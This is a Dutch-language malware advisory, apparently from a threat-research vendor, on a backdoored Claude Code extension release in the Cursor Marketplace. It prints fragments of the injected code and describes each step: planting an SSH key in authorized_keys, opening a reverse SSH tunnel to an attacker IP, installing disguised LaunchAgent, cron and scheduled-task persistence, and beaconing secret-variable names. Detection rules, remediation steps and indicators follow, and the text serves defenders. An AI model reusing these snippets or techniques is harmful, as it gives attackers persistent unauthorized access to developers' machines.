Compromis van officiële Claude Code-extensie: Beveiligingsadvies
Organisaties wordt geadviseerd hun omgevingen onmiddellijk te controleren op het gebruik van Claude Code for VSCode versie 2.1.313 en incident response in te schakelen indien het gebruik van deze extensie wordt vastgesteld.
Cursor heeft de betreffende release inmiddels verwijderd uit de marketplace en daarnaast de NPM- en VSCode-versies voor 2.1.313 uit de relevante registers getrokken.
Hoewel het implantaat logica bevat voor installatie en persistentie op macOS, Linux en Windows, focust dit artikel zich op macOS. We benoemen gaandeweg de belangrijkste verschillen en enkele implementatiefouten op de andere platforms.
De Cursor Marketplace levert extensies voor de Cursor-editor. Omdat extensies draaien met de rechten van de IDE en de gebruiker die deze uitvoert, krijgt een gecompromitteerde extensie direct toegang tot lokale bestanden, broncode en developer-tooling zodra de module wordt geladen.
Opvallend is dat Phorion een waarschijnlijk overzicht heeft ontdekt in de manier waarop de malware probeert SSH in te schakelen. De setup-logica gaat ervan uit dat de huidige status van 'Remote Login' gecontroleerd kan worden zonder root-rechten. Wanneer dit als standaardgebruiker wordt uitgevoerd, print systemsetup -getremotelogin een foutmelding over administrator-toegang en sluit het programma af met status 0 in plaats van 'Off' terug te geven. Omdat het script SSH alleen probeert in te schakelen als de output exact 'Off' is, wordt deze stap volledig overgeslagen. Op een Mac waar SSH nog niet actief is, blokkeert deze fout de inkomende toegang, ook al zijn de SSH-sleutels en de persistentie wel geplaatst.
In dit artikel leggen we uit hoe de backdoor werkt, waarom de macOS-controle faalt en waar u in uw netwerk op moet letten. Het doel van deze payload is interactieve toegang op de lange termijn. Hoewel de SSH-bug de impact op macOS minimaliseert, blijft de malware een aanzienlijk risico omdat het persistentie installeert en host-informatie (reconnaissance) terugstuurt naar de operator.
Infectieketen
De Cursor Marketplace Extensie
Het gecompromitteerde extension.js-bestand begint met een geïnjecteerde immediately invoked function expression (IIFE) die vóór de geminificeerde extensiebundel is geplaatst. De rest van de bundel ziet eruit als de standaardextensie, met normale Claude Code- en VS Code-strings, standaard activate- en deactivate-exports en UI-code.
De geïnjecteerde prefix importeert standaard Node.js-modules (child_process, fs, os, path, http en crypto) en wordt uitgevoerd zodra Node het bestand laadt, nog voordat de normale activate-callback van de extensie wordt uitgevoerd. De gebruiker hoeft geen interactie te hebben met de extensie voordat de payload afgaat.
Stap 1 - SSH-toegang voorbereiden
Eerst zorgt de payload ervoor dat ~/.ssh bestaat en voegt een door de aanvaller gecontroleerde Ed25519-publieke sleutel toe aan ~/.ssh/authorized_keys. De rechten worden ingesteld op 0700 voor de map en 0600 voor het bestand.
De sleutel maakt gebruik van de commentaar svc-telemetry. Voordat de sleutel wordt toegevoegd, controleert het script of svc-telemetry al in het bestand staat, in plaats van te controleren op de sleutel zelf. Bij het opsporen van deze activiteit is het raadzaam om de public-key fingerprint te controleren in plaats van alleen te vertrouwen op de commentaarstring.
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
In dit fragment bevat cur de bestaande inhoud van authorized_keys en PUB is de ingebedde publieke sleutel van de aanvaller.
Zodra de sleutel is geplaatst, kan iedereen met de bijbehorende privésleutel zich als die gebruiker authenticeren, mits SSH daadwerkelijk draait. De volgende stap in het script probeert te garanderen dat de lokale SSH-daemon is ingeschakeld en luistert:
- Linux: probeert
sshdofsshin te schakelen en te starten viasystemctl, met een fallback naarserviceen/etc/init.d/. - macOS: controleert 'Remote Login' en probeert dit, indien dit op 'Off' staat, in te schakelen via
sudo -n systemsetup -setremotelogin on. - Windows: probeert de OpenSSH Server te installeren en te starten met PowerShell.
Geen van deze stappen bevat een privilege escalation-exploit. Een non-interactieve sudo -n zal falen tenzij de gebruiker al passwordless sudo heeft geconfigureerd of gecacht, waardoor het starten van een systeemservice vanuit een standaardgebruikerscontext niet altijd zal lukken.
Ook de Windows-codepad lijkt een bug te bevatten: het geeft het PowerShell-commando voor de service-setup door aan een helperfunctie (det()) die /bin/sh hardcoded gebruikt, wat op een standaard Windows-installatie niet zal werken.
Een bug in de macOS SSH-logica?
Op macOS kan de setup problemen ondervinden voordat het sudo-commando überhaupt wordt bereikt. Het script voert systemsetup -getremotelogin uit zonder verhoogde rechten en test de output tegen /Off/i. Alleen als de output 'Off' bevat, probeert het script Remote Login in te schakelen:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
Let op dat het tweede commando (-setremotelogin on) sudo -n gebruikt, terwijl het eerste commando (-getremotelogin) dat niet doet. Wanneer u systemsetup -getremotelogin uitvoert als standaardgebruiker op macOS, krijgt u het volgende:
"You need administrator access to run this tool... exiting!"
systemsetup weigert de instelling te lezen zonder administrator-rechten, print de fout naar stdout en sluit af met status 0. De ex() helper van de malware pakt stdout op en geeft dit terug:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}
Omdat de output "You need administrator access to run this tool... exiting!" is, evalueert /Off/i.test(rl) naar false.
Als gevolg hiervan slaat het script het if-blok over en voert het sudo -n systemsetup -setremotelogin on nooit uit. Het behandelt "Ik heb geen toestemming om te controleren of SSH uit staat" effectief als "SSH staat al aan". Dit verklaart waarom u de poging tot inschakeling niet zult zien in proces-telemetrie wanneer de extensie als normale gebruiker draait.
Deze bug kan de laatste stap van de toegangsketen verbreken. Als Remote Login niet al was ingeschakeld op de Mac, kan de outbound tunnel nog steeds verbinding maken met de server van de aanvaller, maar al het verkeer dat via de tunnel terug wordt gestuurd, zal stuiten op een gesloten poort 22 op localhost. Dit is echter geen betrouwbare verdediging; als de gebruiker Remote Login al had ingeschakeld of dit later doet, staat de backdoor klaar.
Stap 2 - De Reverse SSH-tunnel opzetten
Vervolgens zet het script een uitgaande SSH-verbinding op naar 134.209.82[.]225 als de gebruiker tunnel op poort 22. Om zich te authenticeren bij de server van de aanvaller, decodeert het een aparte ingebedde privésleutel: een onversleutelde OpenSSH Ed25519-sleutel met de commentaar svc-telemetry-tun.
Het is belangrijk om tijdens een onderzoek het onderscheid tussen de twee sleutels te bewaren:
- De publieke sleutel toegevoegd aan
~/.ssh/authorized_keys(svc-telemetry) laat de aanvaller inloggen op de machine van het slachtoffer. - De ingebedde privésleutel (
svc-telemetry-tun) laat de machine van het slachtoffer verbinding maken met de tunnelserver van de aanvaller.
Het script schrijft deze tunnelsleutel naar de tijdelijke directory van het OS met een bestandsnaam die begint met .stk_, gevolgd door de eerste tien tekens van de MD5-hash van de hostname en het pad naar de home directory:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";
De tunnel gebruikt -R :0:localhost:22 voor remote port forwarding*. Door 0 te gebruiken, vraagt hij de SSH-server van de aanvaller om dynamisch een luisterpoort toe te wijzen en al het verkeer dat daar binnenkomt terug te sturen via de tunnel naar localhost:22 op de machine van het slachtoffer.
Verkeersstroom: Besmette host → (uitgaande SSH-tunnel) → Externe SSH-server Operator → (aparte verbinding) → Toegewezen poort op server → (via bestaande tunnel) → SSH:22 van besmette host → Inloggen met geplaatste sleutel
Omdat de tunnel draait met -N, houdt hij alleen de poortforward open zonder een commando uit te voeren op de remote server. Wanneer de operator toegang tot de machine wil, start hij een aparte SSH-sessie via de toegewezen poort op zijn server, waarbij hij zich authenticeert bij de lokale SSH-daemon van het slachtoffer met de sleutel uit Stap 1. Dit geeft hen een volledige interactieve shell en bestandsoverdrachtmogelijkheid zonder dat er custom C2-commando-afhandeling in de JavaScript zelf nodig is.
Het SSH-commando gebruikt daarnaast vlaggen om de verbinding discreet en non-interactief te houden: host-key checking is uitgeschakeld, known_hosts wordt genegeerd, BatchMode en IdentitiesOnly zijn ingeschakeld, keepalives staan op 30 seconden (ServerAliveCountMax=3) en ExitOnForwardFailure is ingeschakeld.
Als autossh is geïnstalleerd, gebruikt het script dit; anders valt het terug op standaard ssh. De verbinding wordt verpakt in een losgekoppelde (detached) retry-loop die elke 60 seconden opnieuw probeert, waarbij pgrep op Unix-systemen wordt gebruikt om dubbele tunnels te voorkomen. Omdat de loop is losgekoppeld, blijft de tunnel actief, zelfs nadat de gebruiker de IDE heeft gesloten.
Stap 3 - Toegang behouden (Persistentie)
Om een reboot te overleven, stelt het script platformspecifieke persistentie in naast de initiële tunnel:
| Platform | Artifacts | Persistentiemechanisme | Notities |
|---|---|---|---|
| Linux | ~/.config/.smt, ~/.config/.smtk | Schrijft een shell-script dat de tunnelsleutel recreëert en de SSH-verbinding in een loop zet; voegt een @reboot entry toe aan de crontab. | Bevat een bug in de crontab-controle die bestaande cron-jobs kan wissen bij herhaalde runs. |
| macOS | ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist | Schrijft een user LaunchAgent die /bin/sh ~/.config/.smt uitvoert met RunAtLoad en KeepAlive op true; laadt dit via launchctl. | Draait in de user-context in plaats van als een root LaunchDaemon. |
| Windows | ~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Probeert een scheduled task genaamd SysMon aan te maken die start als SYSTEM. Als dit faalt, plaatst hij sysmon.cmd in de Startup-map. | Een SYSTEM-task vereist admin-rechten; de Startup-map fallback draait als de gebruiker bij login. |
Op macOS en Linux bevat het ~/.config/.smt script de tunnel-privésleutel en schrijft deze naar ~/.config/.smtk voordat de reconnect-loop start. Op macOS camoufleert de LaunchAgent zich als com.apple.sysmond.plist in ~/Library/LaunchAgents/.
Stap 4 - Host Reconnaissance
Ten slotte verzamelt het script basisinformatie over de host en stuurt een eenmalige beacon terug naar de server van de aanvaller:
- Hostname, gebruikersnaam, OS-platform en architectuur.
- Home directory, huidige werkmap en globale Git-email (
git config --global user.email). - Publiek IP-adres en statusvlaggen van elke setup-stap (bijv. of de SSH-sleutel is toegevoegd en welke persistentiemethode is gebruikt).
- Tot 40 namen van omgevingsvariabelen (niet de waarden) die overeenkomen met
/KEY|TOKEN|SECRET|PASS|AWS|GCP/i.
De controle op omgevingsvariabelen gebruikt Object.keys(process.env). Omdat alleen de namen worden verzameld, exfiltreert de beacon de geheime waarden zelf niet. In plaats daarvan krijgt de operator een inventaris van welke cloud-credentials of API-tokens op de machine staan, zodat zij weten welke hosts prioriteit hebben.
Om het publieke IP te verkrijgen, raadpleegt het script ifconfig[.]me of api[.]ipify[.]org. Het JSON-rapport wordt vervolgens via plaintext HTTP POST-verzoeken naar /beacon gestuurd op zowel 134.209.82[.]225:8099 als 127.0.0.1:8099.
Het is onduidelijk waarom er ook een kopie naar 127.0.0.1:8099 wordt gestuurd; het script zelf zet geen lokale listener op die poort. De beacon is gepland met setTimeout (1,5 seconde na de initiële setup) en negeert elke HTTP-respons. Het is puur een check-in om de operator te laten weten dat de host klaar is, terwijl de SSH-tunnel de eigenlijke toegang afhandelt.
Detectiemogelijkheden
Vanuit een detectieperspectief zijn er verschillende gedragingen in deze keten die opvallen in macOS via Endpoint Security Framework (ESF) telemetrie.
SSH-sleutel en configuratiewijzigingen
Omdat de malware direct naar ~/.ssh/authorizedkeys schrijft met Node's fs.appendFileSync, zullen regels die alleen kijken naar shell-commando's zoals echo of tee dit niet oppikken. Hier is bestandsmodificatie-telemetrie essentieel: let op IDE-helperprocessen (Code Helper, Cursor Helper, etc.) die ~/.ssh/authorizedkeys aanmaken of wijzigen.
Hoewel het IDE-binary zelf geldig is ondertekend, heeft het extension host-proces geen reden om op de achtergrond SSH-authenticatiebestanden te wijzigen. Let ook op systemsetup -setremotelogin on, maar vertrouw hier niet uitsluitend op, aangezien dit commando vaak wordt overgeslagen door de eerder genoemde bug.
User LaunchAgent Persistentie
De persistentie-setup op macOS geeft sterke signalen:
- Een proces dat niet van Apple is en een plist schrijft met een
com.apple.*label (~/Library/LaunchAgents/com.apple.sysmond.plist). - Een LaunchAgent die is geconfigureerd om
/bin/shuit te voeren tegen een verborgen script in de home directory van de gebruiker (~/.config/.smt).
Omdat de initiële tunnel als een losgekoppeld proces wordt gestart en launchd later .smt direct beheert, zullen de daaropvolgende ssh-processen de IDE niet als hun directe ouder hebben in een procesboom. Het correleren van de aanmaak van .smt en com.apple.sysmond.plist naar de IDE extension host maakt het makkelijker om de keten te reconstrueren.
SSH-tunnels en vervolgtoegang
Kijk in proces- en netwerkgegevens naar:
sshofautosshgestart met remote port forwarding (-R :0:localhost:22) en identity-bestanden uit/tmp/.stk_of~/.config/.smtk.- Uitgaande SSH-verbindingen naar
134.209.82[.]225op poort 22, samen met HTTP POST-verzoeken naar134.209.82[.]225:8099(en pogingen naar127.0.0.1:8099).
Als u een host vindt waar deze extensie is gedraaid, is het belangrijk om te controleren of de tunnel alleen is opgezet of dat een operator daadwerkelijk is ingelogd. Omdat inkomende sessies via de lokale port forward arriveren, zullen succesvolle logins in SSH-logs verschijnen alsof ze afkomstig zijn van localhost (127.0.0.1 of ::1) met de svc-telemetry sleutel.
Remediatie
Als u een besmette machine identificeert, is het alleen verwijderen van de extensie onvoldoende. Zorg dat de respons alle volgende stappen omvat:
- Actieve tunnelprocessen beëindigen: Stop de
/bin/shretry-loop en allesshofautosshprocessen die verbinding maken met134.209.82[.]225. - Persistentie verwijderen: Ontlaad en verwijder
~/Library/LaunchAgents/com.apple.sysmond.plistop macOS (of ruim de@rebootcron-entry op Linux / deSysMonscheduled task en Startup-script op Windows op), en verwijder~/.config/.smten~/.config/.smtk. - SSH-sleutels en status opschonen: Verwijder de
svc-telemetrypublieke sleutel uit~/.ssh/authorizedkeys, verwijder/tmp/.stk*en controleer of Remote Login (SSH) onverwacht is ingeschakeld. - Credentials roteren: Als SSH was ingeschakeld op de host, of als er bewijs is van een inkomende login, roteer dan alle credentials of tokens die toegankelijk waren voor dat gebruikersaccount (vooral die die overeenkomen met het filter
KEY|TOKEN|SECRET|PASS|AWS|GCP).
Indicatoren
Samples en Public-Key Fingerprints
| Indicator | Waarde | Notities |
|---|---|---|
| SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | Gecompromitteerde extension.js bundel |
| Victim-login fingerprint | SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htkEd25519 | Sleutel toegevoegd aan ~/.ssh/authorized_keys (comment svc-telemetry) |
| Tunnel fingerprint | SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | Ingebedde Ed25519 sleutel voor tunnelserver (comment svc-telemetry-tun) |
Netwerkindicatoren
| Indicator | Type | Notities |
|---|---|---|
134.209.82[.]225 (TCP 22, user tunnel) | IP / SSH | Uitgaande reverse SSH tunnel server |
134.209.82[.]225:8099 (POST /beacon) | IP / HTTP | Extern host-rapport beacon endpoint |
127.0.0.1:8099 (POST /beacon) | Loopback / HTTP | Lokale beacon bestemming |
ifconfig[.]me, api[.]ipify[.]org | Domein | Legitieme diensten voor publiek IP-onderzoek |
Host Artifacts
| Artifact | Platform | Notities |
|---|---|---|
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | macOS (Apple Silicon) | Geïnstalleerde extensie directory (<ide> varieert per editor) |
~/.ssh/authorized_keys (comment svc-telemetry) | Alle | Geplaatste Ed25519 publieke sleutel |
<TMP>/.stk_<10 hex chars> | Alle | Initiële tunnel-privésleutel in OS temp directory |
~/.config/.smt en ~/.config/.smtk | macOS, Linux | Persistentie shell-script en gerecreëerde tunnel-privésleutel |
~/Library/LaunchAgents/com.apple.sysmond.plist | macOS | User LaunchAgent die /bin/sh ~/.config/.smt uitvoert |
@reboot cron entry voor ~/.config/.smt | Linux | User crontab persistentie |
~/.config/smt.cmd en ~/.config/smtk | Windows | Persistentie batch-script en tunnel-privésleutel |
Scheduled task SysMon | Windows | Startup scheduled task (vraagt om SYSTEM) |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | Windows | Startup folder fallback script |
Groetjes,